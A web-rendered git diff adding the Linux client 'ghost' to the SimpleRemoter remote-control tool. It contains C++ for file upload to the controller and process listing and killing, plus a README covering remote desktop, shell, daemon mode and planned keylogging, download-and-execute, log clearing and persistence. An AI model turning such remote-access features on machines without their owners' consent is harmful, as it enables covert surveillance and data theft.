actualPath.substr(lastSlash + 1) : actualPath;
|
||||
}
|
||||
|
||||
// 构建目标文件名 (服务端路径格式: targetDir + relativePath)
|
||||
std::string targetName = targetDir;
|
||||
if (!targetName.empty() && targetName.back() != '\\') {
|
||||
targetName += '\\';
|
||||
}
|
||||
// 转换为 Windows 风格路径
|
||||
for (char& c : relativePath) {
|
||||
if (c == '/') c = '\\';
|
||||
}
|
||||
targetName += relativePath;
|
||||
|
||||
// 转为 GBK 编码
|
||||
std::string targetNameGbk = utf8ToGbk(targetName);
|
||||
|
||||
// 目录项:发送单个包,不包含数据
|
||||
if (isDirectory) {
|
||||
std::vector<uint8_t> buffer(sizeof(FileChunkPacketV2) + targetNameGbk.length());
|
||||
FileChunkPacketV2* pkt = (FileChunkPacketV2*)buffer.data();
|
||||
|
||||
memset(pkt, 0, sizeof(FileChunkPacketV2));
|
||||
pkt->cmd = COMMAND_SEND_FILE_V2;
|
||||
pkt->transferID = transferID;
|
||||
pkt->srcClientID = myClientID;
|
||||
pkt->dstClientID = 0; // 发送给服务端
|
||||
pkt->fileIndex = fileIndex;
|
||||
pkt->totalFiles = totalFiles;
|
||||
pkt->fileSize = 0;
|
||||
pkt->offset = 0;
|
||||
pkt->dataLength = 0;
|
||||
pkt->nameLength = targetNameGbk.length();
|
||||
pkt->flags = FFV2_DIRECTORY | FFV2_LAST_CHUNK;
|
||||
|
||||
// 写入目录名
|
||||
memcpy(buffer.data() + sizeof(FileChunkPacketV2),
|
||||
targetNameGbk.c_str(), targetNameGbk.length());
|
||||
|
||||
Mprintf("[V2 Send] [%u/%u] DIR: %s -> %s\n",
|
||||
fileIndex + 1, totalFiles, actualPath.c_str(), targetName.c_str());
|
||||
|
||||
if (!client->Send2Server((char*)buffer.data(), (ULONG)buffer.size())) {
|
||||
Mprintf("[V2 Send] Send directory failed\n");
|
||||
}
|
||||
|
||||
usleep(1000); // 1ms 间隔
|
||||
continue;
|
||||
}
|
||||
|
||||
// 获取文件信息
|
||||
struct stat st;
|
||||
if (stat(actualPath.c_str(), &st) != 0) {
|
||||
Mprintf("[V2 Send] stat failed: %s\n", actualPath.c_str());
|
||||
continue;
|
||||
}
|
||||
uint64_t fileSize = (uint64_t)st.st_size;
|
||||
|
||||
// 打开文件
|
||||
int fd = open(actualPath.c_str(), O_RDONLY);
|
||||
if (fd < 0) {
|
||||
Mprintf("[V2 Send] open failed: %s, errno=%d\n", actualPath.c_str(), errno);
|
||||
continue;
|
||||
}
|
||||
|
||||
Mprintf("[V2 Send] [%u/%u] %s -> %s (%llu bytes)\n",
|
||||
fileIndex + 1, totalFiles, actualPath.c_str(), targetName.c_str(), fileSize);
|
||||
|
||||
// 分块发送
|
||||
uint64_t offset = 0;
|
||||
std::vector<uint8_t> buffer;
|
||||
buffer.reserve(sizeof(FileChunkPacketV2) + targetNameGbk.length() + CHUNK_SIZE);
|
||||
|
||||
while (offset < fileSize || (offset == 0 && fileSize == 0)) {
|
||||
size_t toRead = std::min(CHUNK_SIZE, (size_t)(fileSize - offset));
|
||||
bool isLast = (offset + toRead >= fileSize);
|
||||
|
||||
// 构建包头
|
||||
buffer.resize(sizeof(FileChunkPacketV2) + targetNameGbk.length() + toRead);
|
||||
FileChunkPacketV2* pkt = (FileChunkPacketV2*)buffer.data();
|
||||
|
||||
memset(pkt, 0, sizeof(FileChunkPacketV2));
|
||||
pkt->cmd = COMMAND_SEND_FILE_V2;
|
||||
pkt->transferID = transferID;
|
||||
pkt->srcClientID = myClientID;
|
||||
pkt->dstClientID = 0; // 发送给服务端
|
||||
pkt->fileIndex = fileIndex;
|
||||
pkt->totalFiles = totalFiles;
|
||||
pkt->fileSize = fileSize;
|
||||
pkt->offset = offset;
|
||||
pkt->dataLength = toRead;
|
||||
pkt->nameLength = targetNameGbk.length();
|
||||
pkt->flags = isLast ? FFV2_LAST_CHUNK : FFV2_NONE;
|
||||
|
||||
// 写入文件名
|
||||
memcpy(buffer.data() + sizeof(FileChunkPacketV2),
|
||||
targetNameGbk.c_str(), targetNameGbk.length());
|
||||
|
||||
// 读取文件数据
|
||||
if (toRead > 0) {
|
||||
uint8_t* dataPtr = buffer.data() + sizeof(FileChunkPacketV2) + targetNameGbk.length();
|
||||
ssize_t n = read(fd, dataPtr, toRead);
|
||||
if (n < 0) {
|
||||
Mprintf("[V2 Send] read failed: errno=%d\n", errno);
|
||||
break;
|
||||
}
|
||||
if ((size_t)n < toRead) {
|
||||
// 文件读取不完整,调整包大小
|
||||
toRead = n;
|
||||
pkt->dataLength = toRead;
|
||||
buffer.resize(sizeof(FileChunkPacketV2) + targetNameGbk.length() + toRead);
|
||||
isLast = true;
|
||||
pkt->flags |= FFV2_LAST_CHUNK;
|
||||
}
|
||||
}
|
||||
|
||||
// 发送
|
||||
if (!client->Send2Server((char*)buffer.data(), (ULONG)buffer.size())) {
|
||||
Mprintf("[V2 Send] Send failed\n");
|
||||
break;
|
||||
}
|
||||
|
||||
offset += toRead;
|
||||
|
||||
// 空文件处理
|
||||
if (fileSize == 0) break;
|
||||
|
||||
// 发送间隔 (避免发送过快)
|
||||
usleep(10000); // 10ms
|
||||
}
|
||||
|
||||
close(fd);
|
||||
}
|
||||
|
||||
Mprintf("[V2 Send] Transfer complete: transferID=%llu\n", transferID);
|
||||
}
|
||||
|
||||
private:
|
||||
static RecvState* GetOrCreateState(uint64_t key, const FileChunkPacketV2* pkt,
|
||||
const std::string& savePath)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(s_statesMtx);
|
||||
|
||||
auto it = s_states.find(key);
|
||||
if (it != s_states.end()) {
|
||||
return it->second.get();
|
||||
}
|
||||
|
||||
// 创建新状态
|
||||
std::unique_ptr<RecvState> state(new RecvState());
|
||||
state->transferID = pkt->transferID;
|
||||
state->fileSize = pkt->fileSize;
|
||||
state->filePath = savePath;
|
||||
state->receivedBytes = 0;
|
||||
|
||||
// 打开文件
|
||||
state->fd = open(savePath.c_str(), O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||
if (state->fd < 0) {
|
||||
Mprintf("[V2 Recv] open failed: %s, errno=%d\n", savePath.c_str(), errno);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
RecvState* ptr = state.get();
|
||||
s_states[key] = std::move(state);
|
||||
return ptr;
|
||||
}
|
||||
|
||||
// 接收状态存储
|
||||
static inline std::map<uint64_t, std::unique_ptr<RecvState>> s_states;
|
||||
static inline std::mutex s_statesMtx;
|
||||
|
||||
// C2C 目标目录存储
|
||||
static inline std::map<uint64_t, std::string> s_targetDirs;
|
||||
static inline std::mutex s_targetDirMtx;
|
||||
};
|
||||
98
linux/LinuxConfig.h
Normal file
98
linux/LinuxConfig.h
Normal file
@@ -0,0 +1,98 @@
|
||||
#pragma once
|
||||
#include <string>
|
||||
#include <map>
|
||||
#include <fstream>
|
||||
#include <sys/stat.h>
|
||||
#include <cstdlib>
|
||||
|
||||
// ============== 轻量 INI 配置文件读写(Linux)==============
|
||||
// 配置文件路径: ~/.config/ghost/*.conf
|
||||
// 格式: key=value(按行存储,不分 section)
|
||||
class LinuxConfig
|
||||
{
|
||||
public:
|
||||
// 使用指定配置文件名(如 "screen" -> ~/.config/ghost/screen.conf)
|
||||
explicit LinuxConfig(const std::string& name = "config")
|
||||
{
|
||||
const char* xdg = getenv("XDG_CONFIG_HOME");
|
||||
if (xdg && xdg[0]) {
|
||||
m_dir = std::string(xdg) + "/ghost";
|
||||
} else {
|
||||
const char* home = getenv("HOME");
|
||||
if (!home) home = "/tmp";
|
||||
m_dir = std::string(home) + "/.config/ghost";
|
||||
}
|
||||
m_path = m_dir + "/" + name + ".conf";
|
||||
Load();
|
||||
}
|
||||
|
||||
std::string GetStr(const std::string& key, const std::string& def = "") const
|
||||
{
|
||||
auto it = m_data.find(key);
|
||||
return it != m_data.end() ? it->second : def;
|
||||
}
|
||||
|
||||
void SetStr(const std::string& key, const std::string& value)
|
||||
{
|
||||
m_data[key] = value;
|
||||
Save();
|
||||
}
|
||||
|
||||
int GetInt(const std::string& key, int def = 0) const
|
||||
{
|
||||
auto it = m_data.find(key);
|
||||
if (it != m_data.end()) {
|
||||
try { return std::stoi(it->second); } catch (...) {}
|
||||
}
|
||||
return def;
|
||||
}
|
||||
|
||||
void SetInt(const std::string& key, int value)
|
||||
{
|
||||
m_data[key] = std::to_string(value);
|
||||
Save();
|
||||
}
|
||||
|
||||
// 重新加载配置
|
||||
void Reload() { Load(); }
|
||||
|
||||
private:
|
||||
std::string m_dir, m_path;
|
||||
std::map<std::string, std::string> m_data;
|
||||
|
||||
void Load()
|
||||
{
|
||||
m_data.clear();
|
||||
std::ifstream f(m_path);
|
||||
std::string line;
|
||||
while (std::getline(f, line)) {
|
||||
size_t eq = line.find('=');
|
||||
if (eq != std::string::npos) {
|
||||
m_data[line.substr(0, eq)] = line.substr(eq + 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Save()
|
||||
{
|
||||
// 递归创建目录(mkdir -p 效果)
|
||||
MkdirRecursive(m_dir);
|
||||
std::ofstream f(m_path, std::ios::trunc);
|
||||
if (!f.is_open()) {
|
||||
return; // 打开失败
|
||||
}
|
||||
for (auto& kv : m_data) {
|
||||
f << kv.first << "=" << kv.second << "\n";
|
||||
}
|
||||
}
|
||||
|
||||
// 递归创建目录
|
||||
static void MkdirRecursive(const std::string& path)
|
||||
{
|
||||
size_t pos = 0;
|
||||
while ((pos = path.find('/', pos + 1)) != std::string::npos) {
|
||||
mkdir(path.substr(0, pos).c_str(), 0755);
|
||||
}
|
||||
mkdir(path.c_str(), 0755);
|
||||
}
|
||||
};
|
||||
345
linux/README.md
Normal file
345
linux/README.md
Normal file
@@ -0,0 +1,345 @@
|
||||
# SimpleRemoter Linux Client
|
||||
|
||||
SimpleRemoter 的 Linux 客户端,支持远程桌面、远程终端、文件管理和进程管理功能。
|
||||
|
||||
## 功能特性
|
||||
|
||||
- **远程桌面** - 实时屏幕截图传输,支持鼠标/键盘控制,支持多种压缩算法
|
||||
- **远程终端** - 基于 PTY 的交互式 Shell
|
||||
- **文件管理** - 远程文件浏览、上传、下载
|
||||
- **进程管理** - 查看和管理远程进程
|
||||
- **守护进程模式** - 支持后台运行 (`-d` 参数)
|
||||
|
||||
## 功能实现对比 (Linux vs Windows)
|
||||
|
||||
### 已实现
|
||||
|
||||
| 功能模块 | Linux 实现 | Windows 对应 | 状态 |
|
||||
|---------|-----------|-------------|------|
|
||||
| 远程桌面 | `ScreenHandler.h` | `ScreenManager.cpp` | ✅ 完整 (DIFF/RGB565/GRAY) |
|
||||
| 进程管理 | `SystemManager.h` | `SystemManager.cpp` | ✅ 完整 |
|
||||
| 文件管理 | `FileManager.h` | `FileManager.cpp` | ✅ 完整 |
|
||||
| 远程终端 | `PTYHandler` (main.cpp) | `ConPTYManager.cpp` | ✅ 完整 |
|
||||
| 心跳/RTT | main.cpp | `KernelManager.cpp` | ✅ 完整 |
|
||||
| 用户活动检测 | `ActivityChecker` | `ActivityWindow` | ✅ 完整 |
|
||||
| 系统信息采集 | main.cpp | `LoginServer.cpp` | ✅ 完整 |
|
||||
| 守护进程 | daemonize() | Windows 服务 | ✅ 完整 |
|
||||
| 剪贴板同步 | `ClipboardHandler.h` | `ScreenManager.cpp` | ✅ 服务端↔Linux |
|
||||
| V2 文件传输 | `FileTransferV2.h` | `file_upload.h` | ✅ 服务端↔Linux |
|
||||
| 配置持久化 | `LinuxConfig` | INI 文件 | ✅ 完整 |
|
||||
|
||||
### 未实现
|
||||
|
||||
| 功能模块 | Windows 文件 | 命令 | 优先级 | 说明 |
|
||||
|---------|-------------|------|-------|------|
|
||||
| 会话管理 | `KernelManager.cpp` | `COMMAND_SESSION` | 高 | 关机/重启/注销 |
|
||||
| 下载执行 | `KernelManager.cpp` | `COMMAND_DOWN_EXEC` | 高 | 下载并运行程序 |
|
||||
| 服务管理 | `ServicesManager.cpp` | `COMMAND_SERVICES` | 中 | systemd 服务列表 |
|
||||
| 键盘记录 | `KeyboardManager.cpp` | `COMMAND_KEYBOARD` | 中 | 需要 X11/evdev |
|
||||
| 开机自启 | `auto_start.h` | - | 中 | systemd user service |
|
||||
| 窗口列表 | `SystemManager.cpp` | `COMMAND_WSLIST` | 低 | X11 窗口枚举 |
|
||||
| 音频监听 | `AudioManager.cpp` | `COMMAND_AUDIO` | 低 | 需要 PulseAudio/ALSA |
|
||||
| 摄像头 | `VideoManager.cpp` | `COMMAND_WEBCAM` | 低 | 需要 V4L2 |
|
||||
| 语音对讲 | `TalkManager.cpp` | `COMMAND_TALK` | 低 | 双向音频传输 |
|
||||
| 清除日志 | `KernelManager.cpp` | `COMMAND_CLEAN_EVENT` | 低 | 清除 syslog |
|
||||
| 注册表管理 | `RegisterManager.cpp` | `COMMAND_REGEDIT` | - | Linux 不适用 |
|
||||
|
||||
### 开发优先级说明
|
||||
|
||||
**高优先级** - 日常管理常用功能
|
||||
- ~~剪贴板同步:跨平台复制粘贴~~ ✅ 已完成
|
||||
- 会话管理:远程关机/重启
|
||||
- 下载执行:远程部署程序
|
||||
|
||||
**中优先级** - 系统管理功能
|
||||
- 服务管理:查看/控制 systemd 服务
|
||||
- 键盘记录:输入监控
|
||||
- 开机自启:持久化运行
|
||||
|
||||
**低优先级** - 硬件相关功能
|
||||
- 音频/摄像头/语音:需要额外硬件库支持
|
||||
|
||||
## 系统要求
|
||||
|
||||
### 显示服务器
|
||||
|
||||
| 类型 | 支持状态 | 说明 |
|
||||
|------|---------|------|
|
||||
| X11 / Xorg | 支持 | 完全支持 |
|
||||
| XWayland | 部分支持 | X11 应用可用,原生 Wayland 应用不可见 |
|
||||
| Wayland (纯) | 不支持 | 无法工作 |
|
||||
|
||||
> **重要**: 本客户端使用 X11 API 进行屏幕捕获,**不支持纯 Wayland 环境**。
|
||||
> 如果你使用 GNOME/KDE 等桌面环境,请在登录时选择 "Xorg" 或 "X11" 会话。
|
||||
|
||||
### 依赖库
|
||||
|
||||
#### 必需 (远程桌面功能)
|
||||
|
||||
| 库 | 包名 (Debian/Ubuntu) | 包名 (RHEL/Fedora) | 用途 |
|
||||
|----|---------------------|-------------------|------|
|
||||
| libX11 | `libx11-6` | `libX11` | X11 核心库,屏幕捕获 |
|
||||
|
||||
#### 推荐 (完整远程控制)
|
||||
|
||||
| 库 | 包名 (Debian/Ubuntu) | 包名 (RHEL/Fedora) | 用途 |
|
||||
|----|---------------------|-------------------|------|
|
||||
| libXtst | `libxtst6` | `libXtst` | XTest 扩展,模拟鼠标/键盘输入 |
|
||||
|
||||
#### 可选
|
||||
|
||||
| 库 | 包名 (Debian/Ubuntu) | 包名 (RHEL/Fedora) | 用途 |
|
||||
|----|---------------------|-------------------|------|
|
||||
| libXss | `libxss1` | `libXScrnSaver` | 获取用户空闲时间 |
|
||||
| xclip | `xclip` | `xclip` | 剪贴板同步 (文本/文件) |
|
||||
|
||||
### 一键安装依赖
|
||||
|
||||
**Debian / Ubuntu:**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install libx11-6 libxtst6 libxss1 xclip
|
||||
```
|
||||
|
||||
**RHEL / CentOS / Fedora:**
|
||||
```bash
|
||||
sudo dnf install libX11 libXtst libXScrnSaver xclip
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S libx11 libxtst libxss xclip
|
||||
```
|
||||
|
||||
## 编译
|
||||
|
||||
### 编译依赖
|
||||
|
||||
```bash
|
||||
# Debian/Ubuntu
|
||||
sudo apt install build-essential cmake
|
||||
|
||||
# RHEL/Fedora
|
||||
sudo dnf install gcc-c++ cmake make
|
||||
```
|
||||
|
||||
### 编译步骤
|
||||
|
||||
```bash
|
||||
cd linux
|
||||
cmake .
|
||||
make -j$(nproc)
|
||||
```
|
||||
|
||||
编译成功后生成可执行文件 `ghost`。
|
||||
|
||||
## 使用方法
|
||||
|
||||
### 基本用法
|
||||
|
||||
```bash
|
||||
./ghost [服务器IP] [端口]
|
||||
```
|
||||
|
||||
### 守护进程模式
|
||||
|
||||
```bash
|
||||
./ghost -d [服务器IP] [端口]
|
||||
```
|
||||
|
||||
### 示例
|
||||
|
||||
```bash
|
||||
# 前台运行,连接到 192.168.1.100:6543
|
||||
./ghost 192.168.1.100 6543
|
||||
|
||||
# 后台守护进程模式
|
||||
./ghost -d 192.168.1.100 6543
|
||||
|
||||
# 停止守护进程
|
||||
kill $(cat ~/.config/ghost/ghost.pid)
|
||||
```
|
||||
|
||||
## 常见问题
|
||||
|
||||
### Q: 远程桌面功能不工作
|
||||
|
||||
**检查项:**
|
||||
|
||||
1. **确认使用 X11 会话**
|
||||
```bash
|
||||
echo $XDG_SESSION_TYPE
|
||||
# 应输出 "x11",如果是 "wayland" 则不支持
|
||||
```
|
||||
|
||||
2. **确认 DISPLAY 环境变量已设置**
|
||||
```bash
|
||||
echo $DISPLAY
|
||||
# 应输出类似 ":0" 或 ":1"
|
||||
```
|
||||
|
||||
3. **确认 X11 库已安装**
|
||||
```bash
|
||||
ldconfig -p | grep libX11
|
||||
# 应输出 libX11.so.6 的路径
|
||||
```
|
||||
|
||||
### Q: 鼠标/键盘控制不工作
|
||||
|
||||
安装 XTest 扩展库:
|
||||
```bash
|
||||
# Debian/Ubuntu
|
||||
sudo apt install libxtst6
|
||||
|
||||
# RHEL/Fedora
|
||||
sudo dnf install libXtst
|
||||
```
|
||||
|
||||
### Q: 警告 "MIT-SCREEN-SAVER missing"
|
||||
|
||||
这是一个无害警告,表示无法获取用户空闲时间。可以忽略,或安装 libXss:
|
||||
```bash
|
||||
# Debian/Ubuntu
|
||||
sudo apt install libxss1
|
||||
|
||||
# RHEL/Fedora
|
||||
sudo dnf install libXScrnSaver
|
||||
```
|
||||
|
||||
### Q: 如何在 Wayland 环境下使用?
|
||||
|
||||
目前不支持纯 Wayland。需要切换到 X11 会话。
|
||||
|
||||
**方法1:登录时选择 X11 会话**
|
||||
|
||||
- 在登录界面点击用户名后,右下角会出现齿轮图标 ⚙️
|
||||
- 点击齿轮,选择 "Ubuntu on Xorg" 或 "GNOME on Xorg"
|
||||
|
||||
**方法2:强制禁用 Wayland(推荐)**
|
||||
|
||||
如果找不到齿轮图标,可以修改 GDM 配置强制使用 X11:
|
||||
|
||||
```bash
|
||||
sudo nano /etc/gdm3/custom.conf
|
||||
```
|
||||
|
||||
在 `[daemon]` 部分添加:
|
||||
|
||||
```ini
|
||||
[daemon]
|
||||
WaylandEnable=false
|
||||
```
|
||||
|
||||
保存后重启系统:
|
||||
|
||||
```bash
|
||||
sudo reboot
|
||||
```
|
||||
|
||||
这样系统将始终使用 X11,无需每次手动选择。
|
||||
|
||||
**KDE 桌面环境:**
|
||||
- 登录界面选择 "Plasma (X11)"
|
||||
- 或编辑 `/etc/sddm.conf` 设置默认会话
|
||||
|
||||
### Q: 如何检查当前会话类型?
|
||||
|
||||
```bash
|
||||
# 查看会话类型
|
||||
echo $XDG_SESSION_TYPE
|
||||
|
||||
# 查看显示服务器信息
|
||||
loginctl show-session $(loginctl | grep $(whoami) | awk '{print $1}') -p Type
|
||||
```
|
||||
|
||||
## 配置文件
|
||||
|
||||
配置文件位于 `~/.config/ghost/config.conf`,存储以下信息:
|
||||
|
||||
| 配置项 | 说明 | 示例值 |
|
||||
|-------|------|-------|
|
||||
| `InstallTime` | 首次安装时间 | `1709856000` |
|
||||
| `PublicIP` | 公网 IP 缓存 | `1.2.3.4` |
|
||||
| `GeoLocation` | 地理位置缓存 | `北京市` |
|
||||
| `QualityLevel` | 屏幕质量等级 | `-1` (自适应) |
|
||||
|
||||
### 质量等级说明
|
||||
|
||||
| 值 | 等级 | FPS | 算法 |
|
||||
|----|------|-----|------|
|
||||
| -1 | 自适应 | 动态 | 动态 |
|
||||
| 0 | Ultra | 30 | DIFF |
|
||||
| 1 | High | 25 | DIFF |
|
||||
| 2 | Good | 20 | RGB565 |
|
||||
| 3 | Medium | 15 | RGB565 |
|
||||
| 4 | Low | 10 | RGB565 |
|
||||
| 5 | Minimal | 8 | GRAY |
|
||||
|
||||
## 剪贴板同步
|
||||
|
||||
### 支持的操作
|
||||
|
||||
| 方向 | 操作 | 状态 |
|
||||
|------|------|------|
|
||||
| 服务端 → Linux | 服务端 Ctrl+C,远程窗口 Ctrl+V | ✅ 支持 |
|
||||
| Linux → 服务端 | 远程窗口 Ctrl+C,服务端 Ctrl+V | ✅ 支持 |
|
||||
| Linux ↔ Linux (C2C) | 远程A Ctrl+C,远程B Ctrl+V | ❌ 暂不支持 |
|
||||
|
||||
### 支持的内容类型
|
||||
|
||||
| 类型 | 说明 |
|
||||
|------|------|
|
||||
| 文本 | 纯文本剪贴板内容 |
|
||||
| 文件 | 单文件/多文件/文件夹,保留目录结构 |
|
||||
|
||||
### 依赖
|
||||
|
||||
需要安装 `xclip` 工具:
|
||||
```bash
|
||||
# Debian/Ubuntu
|
||||
sudo apt install xclip
|
||||
|
||||
# RHEL/Fedora
|
||||
sudo dnf install xclip
|
||||
```
|
||||
|
||||
### 技术实现
|
||||
|
||||
- 文本剪贴板:`xclip -selection clipboard`
|
||||
- 文件剪贴板:`xclip -t text/uri-list` 读取文件路径
|
||||
- 编码转换:服务端 GBK ↔ Linux UTF-8 自动转换
|
||||
|
||||
## 技术细节
|
||||
|
||||
### 屏幕捕获流程
|
||||
|
||||
1. 使用 `XCopyArea` 将 root window 拷贝到离屏 Pixmap
|
||||
2. 使用 `XGetImage` 从 Pixmap 获取图像数据
|
||||
3. 转换为 BGRA 格式并翻转行序 (BMP 格式要求)
|
||||
4. 计算帧差异,仅传输变化区域
|
||||
|
||||
### 屏幕压缩算法
|
||||
|
||||
| 算法 | 带宽占用 | 说明 |
|
||||
|------|---------|------|
|
||||
| DIFF | 4 字节/像素 | 原始 BGRA,最高画质 |
|
||||
| RGB565 | 2 字节/像素 | 16位色,节省 50% 带宽 |
|
||||
| GRAY | 1 字节/像素 | 灰度,节省 75% 带宽 |
|
||||
| H264 | - | 暂不支持,自动降级为 RGB565 |
|
||||
|
||||
算法由服务端根据网络状况自适应选择,或可手动指定。
|
||||
|
||||
### 输入模拟
|
||||
|
||||
使用 XTest 扩展 (`libXtst`) 实现:
|
||||
- `XTestFakeMotionEvent` - 鼠标移动
|
||||
- `XTestFakeButtonEvent` - 鼠标点击
|
||||
- `XTestFakeKeyEvent` - 键盘输入
|
||||
|
||||
### 为何不支持 Wayland?
|
||||
|
||||
Wayland 出于安全考虑,禁止应用程序:
|
||||
- 捕获其他应用的屏幕内容
|
||||
- 模拟全局输入事件
|
||||
|
||||
这些限制使得传统远程桌面方案无法在纯 Wayland 下工作。
|
||||
1260
linux/ScreenHandler.h
Normal file
1260
linux/ScreenHandler.h
Normal file
File diff suppressed because it is too large
Load Diff
175
linux/SystemManager.h
Normal file
175
linux/SystemManager.h
Normal file
@@ -0,0 +1,175 @@
|
||||
#pragma once
|
||||
#include <dirent.h>
|
||||
#include <signal.h>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <fstream>
|
||||
#include <unistd.h>
|
||||
|
||||
// ============== Linux 进程管理(参考 Windows 端 client/SystemManager.cpp)==============
|
||||
// 通过 /proc 文件系统枚举进程,发送 TOKEN_PSLIST 格式数据
|
||||
// 通过 kill() 终止进程
|
||||
|
||||
class SystemManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
SystemManager(IOCPClient* client)
|
||||
: m_client(client)
|
||||
{
|
||||
// 与 Windows 端一致:构造时立即发送进程列表
|
||||
SendProcessList();
|
||||
}
|
||||
|
||||
~SystemManager() {}
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (!szBuffer || ulLength == 0) return;
|
||||
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_PSLIST:
|
||||
SendProcessList();
|
||||
break;
|
||||
case COMMAND_KILLPROCESS:
|
||||
KillProcess(szBuffer + 1, ulLength - 1);
|
||||
SendProcessList(); // 杀完后自动刷新
|
||||
break;
|
||||
case COMMAND_WSLIST:
|
||||
SendWindowsList();
|
||||
break;
|
||||
default:
|
||||
Mprintf("[SystemManager] Unknown sub-command: %d\n", (int)szBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private:
|
||||
|
||||
// ---- 读取 /proc/[pid]/comm ----
|
||||
static std::string readProcFile(pid_t pid, const char* entry)
|
||||
{
|
||||
char path[128];
|
||||
snprintf(path, sizeof(path), "/proc/%d/%s", (int)pid, entry);
|
||||
std::ifstream f(path);
|
||||
if (!f.is_open()) return "";
|
||||
std::string line;
|
||||
std::getline(f, line);
|
||||
// comm 末尾可能有换行符
|
||||
while (!line.empty() && (line.back() == '\n' || line.back() == '\r'))
|
||||
line.pop_back();
|
||||
return line;
|
||||
}
|
||||
|
||||
// ---- readlink /proc/[pid]/exe ----
|
||||
static std::string readExeLink(pid_t pid)
|
||||
{
|
||||
char path[128], buf[1024];
|
||||
snprintf(path, sizeof(path), "/proc/%d/exe", (int)pid);
|
||||
ssize_t len = readlink(path, buf, sizeof(buf) - 1);
|
||||
if (len <= 0) return "";
|
||||
buf[len] = '\0';
|
||||
// 内核可能追加 " (deleted)"
|
||||
std::string s(buf);
|
||||
const char* suffix = " (deleted)";
|
||||
if (s.size() > strlen(suffix) &&
|
||||
s.compare(s.size() - strlen(suffix), strlen(suffix), suffix) == 0) {
|
||||
s.erase(s.size() - strlen(suffix));
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
// ---- 判断字符串是否全数字(PID 目录名)----
|
||||
static bool isNumeric(const char* s)
|
||||
{
|
||||
if (!s || !*s) return false;
|
||||
for (; *s; ++s)
|
||||
if (*s < '0' || *s > '9') return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
// ---- 枚举所有进程,构造 TOKEN_PSLIST 二进制数据 ----
|
||||
void SendProcessList()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
// 预分配缓冲区
|
||||
std::vector<uint8_t> buf;
|
||||
buf.reserve(64 * 1024);
|
||||
|
||||
// [0] TOKEN_PSLIST
|
||||
buf.push_back((uint8_t)TOKEN_PSLIST);
|
||||
|
||||
const char* arch = (sizeof(void*) == 8) ? "x64" : "x86";
|
||||
|
||||
DIR* dir = opendir("/proc");
|
||||
if (!dir) {
|
||||
// 仅发送空列表头
|
||||
m_client->Send2Server((char*)buf.data(), (ULONG)buf.size());
|
||||
return;
|
||||
}
|
||||
|
||||
struct dirent* ent;
|
||||
while ((ent = readdir(dir)) != nullptr) {
|
||||
if (!isNumeric(ent->d_name))
|
||||
continue;
|
||||
|
||||
pid_t pid = (pid_t)atoi(ent->d_name);
|
||||
if (pid <= 0) continue;
|
||||
|
||||
// 进程名
|
||||
std::string comm = readProcFile(pid, "comm");
|
||||
if (comm.empty()) continue; // 进程可能已退出
|
||||
|
||||
// 完整路径
|
||||
std::string exePath = readExeLink(pid);
|
||||
if (exePath.empty())
|
||||
exePath = "[" + comm + "]"; // 内核线程无 exe 链接
|
||||
|
||||
// 拼接 "进程名:架构"
|
||||
std::string exeFile = comm + ":" + arch;
|
||||
|
||||
// -- 写入二进制数据 --
|
||||
// PID (DWORD, 4 字节)
|
||||
DWORD dwPid = (DWORD)pid;
|
||||
const uint8_t* p = (const uint8_t*)&dwPid;
|
||||
buf.insert(buf.end(), p, p + sizeof(DWORD));
|
||||
|
||||
// exeFile (null 结尾)
|
||||
buf.insert(buf.end(), exeFile.begin(), exeFile.end());
|
||||
buf.push_back(0);
|
||||
|
||||
// fullPath (null 结尾)
|
||||
buf.insert(buf.end(), exePath.begin(), exePath.end());
|
||||
buf.push_back(0);
|
||||
}
|
||||
closedir(dir);
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), (ULONG)buf.size());
|
||||
Mprintf("[SystemManager] SendProcessList: %u bytes\n", (unsigned)buf.size());
|
||||
}
|
||||
|
||||
// ---- 终止进程:接收多个 PID(每个 4 字节 DWORD)----
|
||||
void KillProcess(LPBYTE szBuffer, UINT ulLength)
|
||||
{
|
||||
for (UINT i = 0; i + sizeof(DWORD) <= ulLength; i += sizeof(DWORD)) {
|
||||
DWORD dwPid = *(DWORD*)(szBuffer + i);
|
||||
pid_t pid = (pid_t)dwPid;
|
||||
if (pid <= 1) continue; // 不允许 kill init
|
||||
int ret = kill(pid, SIGKILL);
|
||||
Mprintf("[SystemManager] kill(%d, SIGKILL) = %d\n", (int)pid, ret);
|
||||
}
|
||||
usleep(100000); // 100ms 等待进程退出
|
||||
}
|
||||
|
||||
// ---- 空窗口列表(Linux 无 GUI 窗口管理)----
|
||||
void SendWindowsList()
|
||||
{
|
||||
if (!m_client) return;
|
||||
uint8_t buf[1] = { (uint8_t)TOKEN_WSLIST };
|
||||
m_client->Send2Server((char*)buf, 1);
|
||||
Mprintf("[SystemManager] SendWindowsList (empty)\n");
|
||||
}
|
||||
|
||||
IOCPClient* m_client;
|
||||
};
|
||||
BIN
linux/ghost
Normal file
BIN
linux/ghost
Normal file
Binary file not shown.
1211
linux/main.cpp
Normal file
1211
linux/main.cpp
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user